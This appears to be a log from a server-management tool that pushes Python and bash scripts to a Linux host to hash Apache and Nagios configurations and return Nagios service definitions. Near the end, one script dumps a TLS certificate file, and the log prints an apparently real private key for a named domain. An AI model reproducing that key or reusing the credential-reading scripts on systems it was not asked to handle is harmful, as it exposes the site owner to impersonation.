        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
    show_file('/usr/local/nagios/etc/objects/localhost.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-30 16:48:25: 

chmod 755 /tmp/pkp791241; /tmp/pkp791241; rm /tmp/pkp791241

2026-03-30 16:48:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/localhost.cfg	15363
# Created automatically by PKP. Any manual changes will be lost

###############################################################################
# HOST DEFINITION
###############################################################################

define host {

    use                     linux-server            ; This definition will inherit all variables that are defined in (or inherited by) the host template.
    host_name               localhost
    alias                   aries
    address                 127.0.0.1
}

###############################################################################
# SERVICE and COMMAND DEFINITIONS
###############################################################################

define service {
    use                     local-service
    host_name               localhost
    service_description     PING
    check_command           012e92238a0e7d3980db4ebc2ccd3067
    check_interval   5
    notification_interval 15
}

define command {
    command_name    012e92238a0e7d3980db4ebc2ccd3067
    command_line    $USER1$/check_ping -H google.com -w 200,20% -c 500,40% -p 5 -4
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :hub
    check_command           1041d81fee7b56e4dbe4540e1337f3f1
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    1041d81fee7b56e4dbe4540e1337f3f1
    command_line    $USER1$/check_ssl_cert.php  --host=pkp.pjy.us --port=1100 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :PJY
    check_command           1ab8d2633c72585c91d2fba67402278f
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    1ab8d2633c72585c91d2fba67402278f
    command_line    $USER1$/check_ssl_cert.php  --host=pjy.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Reboot
    check_command           1c1bb1702bfb3dd6b598e7184d0896e2
    check_interval   60
    notification_interval 180
}

define command {
    command_name    1c1bb1702bfb3dd6b598e7184d0896e2
    command_line    $USER1$/check_file_exists -f /run/reboot-required -e
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Uptime
    check_command           1ce411d2efcec6bbaf1494d37c29abe0
    check_interval   60
    notification_interval 180
}

define command {
    command_name    1ce411d2efcec6bbaf1494d37c29abe0
    command_line    $USER1$/check_uptime
}

define service {
    use                     local-service
    host_name               localhost
    service_description     _HOME
    check_command           1ea94a3f66910fce5dd3ccadbd5a6e2e
    check_interval   5
    notification_interval 15
}

define command {
    command_name    1ea94a3f66910fce5dd3ccadbd5a6e2e
    command_line    $USER1$/check_file_exists -f /mnt/home/.mounted
}

define service {
    use                     local-service
    host_name               localhost
    service_description     _STOUGHTON
    check_command           21754ee205f4ad566bda0dbdadc2f0bf
    check_interval   5
    notification_interval 15
}

define command {
    command_name    21754ee205f4ad566bda0dbdadc2f0bf
    command_line    $USER1$/check_file_exists -f /mnt/stoughton/.mounted
}

define service {
    use                     local-service
    host_name               localhost
    service_description     portal
    check_command           221fe4d94590d6c388dac0d18a3929ac
}

define command {
    command_name    221fe4d94590d6c388dac0d18a3929ac
    command_line    /usr/bin/php8.1 -q /var/www/pjy_pkp/public/index.php "uri=/~/nagios/execute/221fe4d94590d6c388dac0d18a3929ac"
}

define service {
    use                     local-service
    host_name               localhost
    service_description     O/S Updates
    check_command           25d334d0a62e3ee21cdd388b781b12ec
    check_interval   1440
    notification_interval 4320
    retry_interval   60
}

define command {
    command_name    25d334d0a62e3ee21cdd388b781b12ec
    command_line    sudo $USER1$/check_debian_packages
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Apache
    check_command           2afb7ef3288eea810cb1250cfa21a980
    check_interval   5
    notification_interval 15
}

define command {
    command_name    2afb7ef3288eea810cb1250cfa21a980
    command_line    $USER1$/check_service -s apache2
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Total Processes
    check_command           2d7a9f286c178e06624231fbdde93b1e
}

define command {
    command_name    2d7a9f286c178e06624231fbdde93b1e
    command_line    $USER1$/check_procs -w 250 -c 400
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :VOTE
    check_command           340f02d7085c455de03033d03aea5391
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    340f02d7085c455de03033d03aea5391
    command_line    $USER1$/check_ssl_cert.php  --host=vote.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Current Load
    check_command           411a4c659194adc294dc149e34619601
}

define command {
    command_name    411a4c659194adc294dc149e34619601
    command_line    $USER1$/check_load -w 5.0,4.0,3.0 -c 10.0,6.0,4.0
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Eggshell
    check_command           41e933c41962c21d31e017b66e00028d
    check_interval   5
    notification_interval 15
}

define command {
    command_name    41e933c41962c21d31e017b66e00028d
    command_line    $USER1$/check_service -s eggshell
}

define service {
    use                     local-service
    host_name               localhost
    service_description     bind
    check_command           457edd1577b09ecc256e8a149d1c8e1c
    check_interval   5
    notification_interval 15
}

define command {
    command_name    457edd1577b09ecc256e8a149d1c8e1c
    command_line    $USER1$/check_service -s named
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :ay
    check_command           5226c2c8934d9057808a60a95af9b27d
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    5226c2c8934d9057808a60a95af9b27d
    command_line    $USER1$/check_ssl_cert.php  --host=anitayoung.net --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :EGG
    check_command           55be6b55dd84a7708b3ae9a49ec0ba8a
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    55be6b55dd84a7708b3ae9a49ec0ba8a
    command_line    $USER1$/check_ssl_cert.php  --host=eggshell.pjy.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :CDN3
    check_command           64d51936cb3a4c3195671092981c4f5a
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    64d51936cb3a4c3195671092981c4f5a
    command_line    $USER1$/check_ssl_cert.php  --host=cdn3.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Current Users
    check_command           682eae54ff2107f7da9079fbe84efa0f
}

define command {
    command_name    682eae54ff2107f7da9079fbe84efa0f
    command_line    $USER1$/check_users -w 10 -c 20
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Auto
    check_command           6a821f23d1089c898f3bdc9d964a7433
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    6a821f23d1089c898f3bdc9d964a7433
    command_line    $USER1$/check_autoupdate.php
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :CDN1
    check_command           6dee009e5fc92ac20df9f190f6978c5e
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    6dee009e5fc92ac20df9f190f6978c5e
    command_line    $USER1$/check_ssl_cert.php  --host=cdn1.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :HZ
    check_command           75a83fe1dcfa87700c11d21e615b396d
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    75a83fe1dcfa87700c11d21e615b396d
    command_line    $USER1$/check_ssl_cert.php  --host=hostz.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :PKP
    check_command           7754953c38f6c8dfe046b0bbfcb7364d
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    7754953c38f6c8dfe046b0bbfcb7364d
    command_line    $USER1$/check_ssl_cert.php  --host=pkp.pjy.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :PCO
    check_command           77acb3401fa57566ec63fcbb37c93dfc
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    77acb3401fa57566ec63fcbb37c93dfc
    command_line    $USER1$/check_ssl_cert.php  --host=patientapps.co --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     MariaDb
    check_command           82011602d8d17d20128f7ceb15d3ce4d
    check_interval   5
    notification_interval 15
}

define command {
    command_name    82011602d8d17d20128f7ceb15d3ce4d
    command_line    $USER1$/check_service -s mariadb
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :HiS
    check_command           93f05704a67004ed1b1685341ff161df
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    93f05704a67004ed1b1685341ff161df
    command_line    $USER1$/check_ssl_cert.php  --host=hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Root Partition
    check_command           9877b9432ca4dbb4e86333dc29b9ee4a
    check_interval   5
    notification_interval 15
}

define command {
    command_name    9877b9432ca4dbb4e86333dc29b9ee4a
    command_line    $USER1$/check_disk -w 6 -c 3 -p / -u GB
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :aries
    check_command           9f678e7d72b1c51d22c976489811af58
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    9f678e7d72b1c51d22c976489811af58
    command_line    $USER1$/check_ssl_cert.php  --host=aries.hostz.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     PHP
    check_command           ab12910313ae50a1ca711e0172e852d4
    check_interval   60
    notification_interval 180
}

define command {
    command_name    ab12910313ae50a1ca711e0172e852d4
    command_line    $USER1$/check_php.php -m zip,libxml,mbstring,openssl,gd,mysqli,curl
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :link
    check_command           b8192159359d67f0b476652dd6119f53
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    b8192159359d67f0b476652dd6119f53
    command_line    $USER1$/check_ssl_cert.php  --host=stoughton.link --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :BETA
    check_command           bf0a9ce211a3b29e426ba39f511e8b99
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    bf0a9ce211a3b29e426ba39f511e8b99
    command_line    $USER1$/check_ssl_cert.php  --host=beta.patientapps.net --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :TYD
    check_command           c542d08c484a926b3370d7afd1da02e5
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    c542d08c484a926b3370d7afd1da02e5
    command_line    $USER1$/check_ssl_cert.php  --host=theyoungdesigners.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :CDN4
    check_command           c5abf59367fab730e1b68b9dd8492f6a
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    c5abf59367fab730e1b68b9dd8492f6a
    command_line    $USER1$/check_ssl_cert.php  --host=cdn4.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     voip.ms
    check_command           d135d30158a503f30d3b1c3f3f6a90fc
}

define command {
    command_name    d135d30158a503f30d3b1c3f3f6a90fc
    command_line    /usr/bin/php8.1 -q /var/www/pjy_pkp/public/index.php "uri=/~/nagios/execute/d135d30158a503f30d3b1c3f3f6a90fc"
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :TYDc
    check_command           da9ea14c8cdb6f1077872421250bfe47
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    da9ea14c8cdb6f1077872421250bfe47
    command_line    $USER1$/check_ssl_cert.php  --host=theyoungdesigners.com --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :kjd
    check_command           e310c6378eda916a3719542fc7cf30e8
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    e310c6378eda916a3719542fc7cf30e8
    command_line    $USER1$/check_ssl_cert.php  --host=kjvdictionary.org --port=443 --warning=21 --critical=7
}





(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 995fee4c636b92ff7c52c503adce3e2f
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= f0d82d7673bc8aac8a03809b832861e0
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2026-03-30 16:48:25: 

PUT: /tmp/pkp644075

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-30 16:48:25: 

chmod 755 /tmp/pkp644075; /tmp/pkp644075; rm /tmp/pkp644075

2026-03-30 16:48:25: 


status=ok


2026-03-30 16:48:25: 

PUT: /tmp/pkp117976

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-30 16:48:25: 

chmod 755 /tmp/pkp117976; /tmp/pkp117976; rm /tmp/pkp117976

2026-03-30 16:48:25: 
2026-03-30 16:48:25: 

PUT: /tmp/pkp895801

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-30 16:48:25: 

chmod 755 /tmp/pkp895801; /tmp/pkp895801; rm /tmp/pkp895801

2026-03-30 16:48:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt	5368
05:50:af:fa:28:95:9f:20:8b:71:d1:b5:7d:d0:1e:33

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBkCJIzSdYFNQQt5PbW07cMW8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzE1MTgxNDA5WhcNMjYwNjEzMTgxNDA4WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCelwhZg9iB4/zivrOtYMgMsgMQEPp/nPjPqVQhTOtyBkKTLE/I
KhutBiiiRpSuXI4T3F5kdvtVBSFrCv09qkLRk+4Wql7HyOyqfCGgkVyh3v0sZ5h0
WqYuApnde8o2OjkVmt4evL8PQWkRHt6c6y9ZNb1HmH1YIVfdmMBBs/b5PicOoYbt
u5zAWh05jVH66255qojlsdpOPrUfQQ6abEVnkoZgGApv6RyXPeqejgUOQBFXvpwI
Jj7dcA+Y1xKK7YVW06GwvLk6BhwEHp+X/eI0kW1gJCk21w5g+SSPhcAWFU6OQLzq
3pCjRVe/BDNDF8E9LmCf+QaWy9Hu65L4gX7/AgMBAAGjggIlMIICITAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUw+rht/hRj+gEgto2ETw2DJKNoMAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghh2b3RlLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy82MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAfgClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZzy6i11AAgA
AAUANWGdKAQDAEcwRQIhAJMLPTjw//i5G/2mbMDvr+r9j1UMp1l6KIr2CvRlixfH
AiAfUqtpj6WBXX0Xp+2seLqDbFvn0G8GjxG0mbssiaUh6AB1AGQRxGykEuyniRyi
Ai4AvKtPKAfUHjUnq+r+1QPJfc3wAAABnPLqNTQAAAQDAEYwRAIgGL+EqlQDQda5
fC8SAtLNPZ5nU2QvYMJPOrYcnnI1lEYCIDL0nJinmsywP4VT9JReZjONhkSZ7u91
iW8kWGEV7/S5MA0GCSqGSIb3DQEBCwUAA4IBAQBqodfBfG970PFDTiTSAmyJ6STd
WQZLGRMCOb+q7/zz2sE/q/P20I2S7/JrcceWbkJhGeRZq2+f0VsM3cSgICvA5q85
QYeFULEJdGKpK6HFgsXvVdODAdqMy950gmCiPdQSiBCaMC6R0ZezRmleOjoee0PV
MYjE6Yvz1JpuFsM9D7vipQNa3IX7XGJ+qAwwSJ3UM7JbefulDaQ1RFjZShW71NkU
9szSKl6LBrJxLBeY4XAvGRqmU+LxfSj0X+VYTIpvhOpwfTT0Xk67KtiQ97ngkGxP
FI/oN1tw6WMEowK/pEGl7LmZNXUcqV8Ht1GAlc+aKnPR9i84O56wqaN+aNps
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCelwhZg9iB4/zi
vrOtYMgMsgMQEPp/nPjPqVQhTOtyBkKTLE/IKhutBiiiRpSuXI4T3F5kdvtVBSFr
Cv09qkLRk+4Wql7HyOyqfCGgkVyh3v0sZ5h0WqYuApnde8o2OjkVmt4evL8PQWkR
Ht6c6y9ZNb1HmH1YIVfdmMBBs/b5PicOoYbtu5zAWh05jVH66255qojlsdpOPrUf
QQ6abEVnkoZgGApv6RyXPeqejgUOQBFXvpwIJj7dcA+Y1xKK7YVW06GwvLk6BhwE
Hp+X/eI0kW1gJCk21w5g+SSPhcAWFU6OQLzq3pCjRVe/BDNDF8E9LmCf+QaWy9Hu
65L4gX7/AgMBAAECggEACE4Qed+VrvepfpZOAn5W+5M25dh9xcEKppVPeo70pXv+
cIaZhvntiRoRdq4LizX9mrynlMtGTiV+ooRozpnj9eWxSi6R2BSFkEf/2tDB8Rgk
Wfby3OUCXtZ0CE07Qau64Y7CowlvV/Us82CSd9U5HYra5qzto3fbihc9ujMac+Lg
PENWQK3Gvp/Mkq9xnxG/7xKLl2NNv6PgdXiEUm31L9tBSnfMfd65h6jxlY0aEW7V
3M/23DHXhxXKYrPV2Syau1AoNuD2od/R3DH1MMzPQ1jVoD8l2VYEoPj0eJSNjGiV
NaoVu1nrNTlFN+T9yeBidM3mskVCnZSe5LM3JlxPwQKBgQDPAIqSDdKu0KudtaM1
5hxd4MatNBR43GY+fxjjREDTL6YUO4FwHv7OlXuyKHxRJ7Vv9X2wdC7q1Gldqrwo
m//93S3+qnurSfVzd4hKvcG7Zy2vPVtaDBpk0T4xYsI9zDnOgiZUEVk8gzW6hxDE
JDLgPKetMaXDlm52A84a2s85PQKBgQDEIOs1BcztAuLFvrEZNWC+L630BAv9kfK2
YDu6VWcl/8wi8mGSIroDiQiK7FItvn4mx9xlAIUS6/xw2VogdZt8JLHnuJcrkBsf
ABHAp/W7YMa6eY1HEy0AKd5ZGjBBLCj0iqn4QfnMuuDi8ylQLMFZJ+JWU8YRQqjP
ljihxR8E6wKBgBFiekDJ6GfGHqOgHZTpPnij6Auj1BRSbkPRaMWtdcRGvCv202gX
Mk8nPrw3qjkmnJZKh8PJ/ia6sB6tuB+w+k7XxIUezEQWcgbAgzHDvgF/KNcO0B0/
5veQmyiKosWN4Uz2oUFuM5BhdKG1tjLC14L9lRd2k/VZLO28ZBLdTYoBAoGANeBh
HGCqiZUYXH/kwGsEV1pbq8OM06xLA0RuQ+KAAlVBa3wvx2gYty3mldsTPBOvLdIL
Pgelhqwi3ZEni/EitDiUUnZHuKTOfnaTadv5ye5syP7pC1Q+MWRO+yURimWqHnsU
